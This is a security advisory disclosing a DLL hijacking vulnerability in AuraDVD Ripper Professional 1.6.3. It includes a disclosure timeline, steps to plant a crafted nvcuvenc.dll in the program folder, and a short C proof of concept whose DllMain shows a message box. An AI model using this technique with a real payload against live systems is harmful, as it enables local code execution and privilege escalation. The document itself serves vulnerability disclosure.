Document Title: =============== AuraDVD Ripper Professional 1.6.3 - DLL Hijacking Vulnerability Release Date: ============= 2016-09-24 Vulnerability Disclosure Timeline: ================================== 2016-09-24 : Discovery of the Vulnerability 2016-09-25 : Contact the Vendor (No Response) 2016-10-04 : Public Disclosure Product & Service Introduction: =============================== Aura DVD Ripper is the best application for ripping DVD and converting between video formats. It can brilliantly make videos for iPad, iPod, Zune and all kinds of media players and mobile phones from DVDs and videos of a wide range of formats. It supports convert videos or rip DVD movies for protable mobile phones. It even burns videos to standard DVD and Blu-ray disc. With the DVD ripping software, ripping DVD movies to AVI, MP4, WMV, FLV or even Flash (SWF) is now an easy job that can be done instantly. The Aura DVD Ripper also functions as a total video converter and YouTube video downloader. (Copy of the Vendor Homepage: http://www.aura4you.com/ ) Affected Product(s): ==================== Aura4you Product: AuraDVD Ripper Professional v1.6.3 - Software Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A local dll injection vulnerability has been discovered in the official AuraDVD Ripper Professional v1.6.3 software. The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges. Vulnerable Software: [+] AuraDVD Ripper Professional Vulnerable Version(s): [+] v1.6.3 Vulnerable Libraries: [+] nvcuvenc.dll Proof of Concept (PoC): ======================= The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll and rename to nvcuvenc.dll 2. Copy nvcuvenc.dll to C:Program FilesAura4YouAura DVD Ripper ProfessionalAuraDVDConvPro.exe 3. Launch AuraVideoConv.exe 4. MessageBox Executed -- PoC Exploit -- #include <windows.h> #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK); return 0; } [+] Disclaimer [+] =================== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Domain: www.zwx.fr Contact: msk4@live.fr Social: twitter.com/XSSed.fr Feeds: www.zwx.fr/feed/ Advisory: www.vulnerability-lab.com/show.php?user=ZwX packetstormsecurity.com/files/author/12026/ cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/ 0day.today/author/27461 Copyright © 2016 | ZwX - Security Researcher (Software & web application)